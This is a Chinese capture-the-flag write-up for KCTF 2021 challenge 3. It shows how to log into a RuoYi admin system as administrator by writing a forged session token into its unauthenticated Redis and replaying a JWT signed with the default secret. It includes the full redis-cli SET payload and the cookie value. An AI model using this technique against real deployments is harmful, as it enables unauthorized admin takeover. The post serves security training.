首页
社区
课程
招聘
[原创]2021 KCTF 第三题 统一门派 Writeup
2021-5-15 20:43 2016

[原创]2021 KCTF 第三题 统一门派 Writeup

2021-5-15 20:43
2016

2021 KCTF 第三题 统一门派 Writeup

访问站点,发现是开源的若依管理系统。

官网地址:http://www.ruoyi.vip/

image-20210514152829952

弱口令试了几个,没有结果,扫描了一下端口发现存在6379端口(redis)。

使用redis-cli客户端连接,未授权访问

image-20210514164026270

百度搜索了一下rouyi-vue版本是前后端分离的,采用了Redis,JWT等技术。

其登录请求主体

 {
  "username": "admin",
  "password": "admin123",
  "code": "8",
  "uuid": "fe836d943ecd46009b282b0aa1c0da44"
 }

登录过程中,主要发生了以下几件事:

  • 首先根据uuid获取redis中的验证码并对请求的验证码做验证,如果验证码校验通过,就会对账号密码进行校验。

  • 用户名和密码校验成功,则使用token作为key将用户信息保存到redis中。

  • 使用JWT对token签名并返回给用户。

因为redis可控,所以想着本地搭建一个rouyi系统,登录成功后查看redis中的token信息,并将它复制到靶机中,假设secret密钥是默认的情况下,可以直接用本地生成的JWT签名Authorization登录靶机。

本地docker搭建一个rouyi-vue

项目地址:https://gitee.com/fengerous/ruoyi-docker/tree/master

登录后拿到Admin-Token和Authorization

image-20210514170207616

查看redis中的token

image-20210514170324483

然后我们需要在靶机的redis中创建此token

 121.36.145.157:6379> set login_tokens:8c51595f-4298-4d60-8211-28eb65dcfa02 "{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1620979809129,\"ipaddr\":\"192.168.15.1\",\"loginLocation\":\"\xe5\x86\x85\xe7\xbd\x91IP\",\"loginTime\":1620978009129,\"os\":\"Windows 10\",\"password\":\"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2\",\"permissions\":Set[\"*:*:*\"],\"token\":\"8c51595f-4298-4d60-8211-28eb65dcfa02\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1521171180000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xc3\xa7\xc2\xa0\xe2\x80\x9d\xc3\xa5\\u008F\xe2\x80\x98\xc3\xa9\xc6\x92\xc2\xa8\xc3\xa9\xe2\x80\x94\xc2\xa8\",\"leader\":\"\xc3\xa8\xe2\x80\xb9\xc2\xa5\xc3\xa4\xc2\xbe\\u009D\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1521171180000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xc3\xa8\xe2\x80\xb9\xc2\xa5\xc3\xa4\xc2\xbe\\u009D\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2\",\"phonenumber\":\"15888888888\",\"remark\":\"\xc3\xa7\xc2\xae\xc2\xa1\xc3\xa7\\u0090\xe2\x80\xa0\xc3\xa5\xe2\x80\x98\xcb\x9c\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"flag\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xc3\xa8\xc2\xb6\xe2\x80\xa6\xc3\xa7\xc2\xba\xc2\xa7\xc3\xa7\xc2\xae\xc2\xa1\xc3\xa7\\u0090\xe2\x80\xa0\xc3\xa5\xe2\x80\x98\xcb\x9c\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

添加完毕后去给靶机添加Cookie,名为Admin-Token,值为本地测试时的Admin-Token,添加完刷新页面就进入了后台

 Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjhjNTE1OTVmLTQyOTgtNGQ2MC04MjExLTI4ZWI2NWRjZmEwMiJ9.jJ_EnSVzgKymnzxY5kTBfumEg9VInoKt6nAFJXUWlfwSK_Ahy1Sjby9ruQWcLPiHvEArh0eZjzNweXHQaq9tDw




[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-5-17 13:18 被kanxue编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回